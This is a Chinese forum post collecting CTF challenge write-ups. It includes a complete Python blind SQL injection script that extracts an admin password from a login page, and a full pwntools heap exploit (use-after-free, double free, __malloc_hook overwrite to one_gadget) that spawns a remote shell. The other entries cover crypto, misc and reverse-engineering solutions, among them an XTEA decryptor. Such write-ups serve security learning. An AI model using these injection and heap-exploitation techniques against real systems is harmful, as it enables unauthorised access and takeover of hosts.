用户
搜索
  • TA的每日心情
    难过
    6 小时前
  • 签到天数: 60 天

    连续签到: 4 天

    [LV.6]常住居民II

    管理员

    Rank: 9Rank: 9Rank: 9

    100

    主题

    103

    帖子

    1563

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2019-6-14
    发表于 2019-11-1 15:51:35 01023
    1.babysql

    # sql-exec

    ## **[目标]**
    sql注入

    ## **[环境]**
    - php

    ## **[工具]**
    - python

    ## **[步骤]**


    ```
    #!/usr/bin/python
    # coding:utf-8

    import requests

    def makeStr(begin,end):
        str=""
        for i in range(begin,end):
            str+=chr(i)
        return str
    def getPassword():
        url="http://120.55.43.255:13006/login.php"
        testStr = makeStr(48,127)
        username = "admin' union distinct select 1,2,0x{hex} order by 3 desc#"
        flag = ""
        for  _  in range(32):
            for i in testStr:
                data = {"username":username.format(hex=(flag+i).encode('hex')),"passwd":'1'}
                res = requests.post(url,data)
                if "admin" not in res.text:
                    flag= flag+chr(ord(i)-1)
                    print flag
                    break
                else:
                    print "",i

    if __name__== '__main__':
        getPassword()
    ```


    2.easy_heap

    UAF漏洞利用,限制size,没有输出攻击_IO_FILE进行leak。double free __malloc_hook to one_gadget

        #coding:utf-8
        from pwn import *
       
        # io = process('./easy_heap')
        io = remote('120.55.43.255',3333)
       
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        context.terminal = ['tmux','split','-h']
       
        context.binary = './easy_heap'
       
        sla = lambda x ,y : io.sendlineafter(x,y)
        sa = lambda x ,y : io.sendafter(x,y)
        def malloc(con):
            sla("free","1")
            sa(":",con)
       
        def free(idx):
            sla("free","2")
            sla(":",str(idx))
       
        def debug():
            gdb.attach(io,'')
       
        def exploit():
            one = [0x4f2c5 ,0x4f322 ,0x10a38c ]
            malloc('a1') #0
            malloc('a2') #1
            malloc('a3') #2
            malloc(flat(0,0x31) * 3) #3
       
            free(0)
            free(0)
            free(0)
            malloc("\x90") #4
            malloc("junk") #5
            malloc(flat(0x0,0x91)) #6
            [free(1) for i in range(8)]   
            malloc('\x60\xe7') #7  1/16
       
            ##  free to stdout
            [free(0) for i in range(7)]
         
            malloc("\xa0")
            malloc("jj")
            malloc('jj')
            # malloc('jj')
       
            malloc(p64(0xfbad1800) + flat(0x0,0x0,0x0) + '\x00')
            leak = u64(io.recvuntil("\x7f",timeout = 1)[-6:] + "\x00\x00")
            print hex(leak)
            libc_bb = leak - 0x3ed8b0
            __malloc_hook = libc_bb + libc.symbols['__malloc_hook']
            print hex(__malloc_hook)
       
            [free(0) for i in range(2)]
            malloc(p64(__malloc_hook - 0x8))
            [malloc('junk') for i in range(1)]
            malloc(p64(one[1] + libc_bb) + p64(libc.symbols['realloc'] + libc_bb + 8))
            
            sleep(0.1)
            io.sendline("1") # getshell
            # debug()
       
            io.interactive()
       
        if __name__ == "__main__":
            try:
                exploit()
            except EOFError,TimeoutError:
                pass


    3.UnconditionalSecurity


    先上网了解量子密码加密原理,然后试着运行几下后发现 HereisthePolarizethatshouldbe ABANDONED, and 1 represents ABANDON :的值一直不变。
    而 Here is the QuantumBit that shouldbeABANDONED,and1representsABANDON:的值在变。
    所以说明 Bob 选择的偏光镜的 方向的顺序是不变的。 根据加密原理,我只需要求出 Bob 和 Alice 选择的偏光镜相同时的数据,即 HereisthePolarize thatshouldbeABANDONED,and1representsABANDON:中为 0 的位置所对应的数据。
    所以只需要求出HereisthePolarizethatshouldbeABANDONED,and1representsABANDON:中为0 时偏光镜的方向,再用同样方向的偏光镜进行监听获得数据即可。
    又根据加密原理,当 Alice 和 Bob 选择的偏光镜相同时,监听者若选择相同方向的偏光镜, 则数据不会错误,当个选择的方向不同时,由 50%概率产生误码;所以将 HereisthePolarize thatshouldbeABANDONED,and1representsABANDON:中值为 1 的位置置之不理,值为 0 的 位置不变用法十字镜作为监听的方向
    (详见QQ群673630534文件)


    4.calculate1


    # Title
    calculate1
    # Tools
    * python
    # exp
    ```python
    import requests
    import time
    s=requests.session()
    url="http://120.55.43.255:13002/"
    res=s.get(url=url)
    a=res.text.encode('utf8')[159:166]
    #print a
    while 1:
            b=eval(a)
            data={
                    'ans':b
            }
            print b
            time.sleep(1)
            r=s.post(url=url,data=data)
            print r.text.encode('utf8')[159:166]
            a=r.text.encode('utf8')[159:166]
            #print r.text.encode('utf8')
            if 'flag{' in r.text:
                    print r.text.encode('utf8')
                    break

    ```

    5.easy_encode

    ### easy_misc


    此文件是一个10进制的文件,转换为16进制格式,反编译pyc文件,其中有个base64编码,base64解码即可拿到flag。

    6.future_arch



    flag: flag{H1_GuY_dO_YoU_H4ve_fuN_w1Th_MiPs}
    给出文件: arch


    编译题目: mipsel-linux-gnu-gcc give.c -static -o arch


    说明: mipsel架构, XTEA算法
    wp:
    使用mipsel编译的XTEA算法,提取秘钥, 轮数, 加密结果后, 就可以解密,解密脚本如下:
    ```
    #include <stdio.h>  
    #include <stdint.h>  
    #include <string.h>


    void decipher(uint32_t v[2], uint32_t const key[4]) {  
        unsigned int i;  
        uint32_t v0=v[0], v1=v[1], delta=0x67616c66, sum=delta*64;  
        for (i=0; i < 64; i++) {  
            v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  
            sum -= delta;  
            v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);  
        }  
        v[0]=v0; v[1]=v1;  
    }  


    int main()  
    {  
        uint32_t const k[4]={0x88767e5b, 0xeb12e283, 0x5a91d23e, 0xbe7a658d};
        uint32_t v[8];
        char* result = "\xc3\xfc\x3a\xb7\xf7\x3b\xaa\x06\x33\x6d\x80\x4d\xf3\xb9\x43\xec\xc8\xaa\x7f\xe6\x09\x1c\x65\xba\x0c\xce\x29\xb1\x83\x80\x9e\x10";
        memcpy(v,result, 0x20);
        for(int i=0; i<4; i++)
           decipher(&(v[2*i]), k);
        printf("%s",(char*)v);
       
    }  
    ```

    7.urllib

    图片1.png
    图片2.png
    图片3.png
    图片4.png
    图片5.png (详见QQ群673630534文件)



    发新帖
    您需要登录后才可以回帖 登录 | 立即注册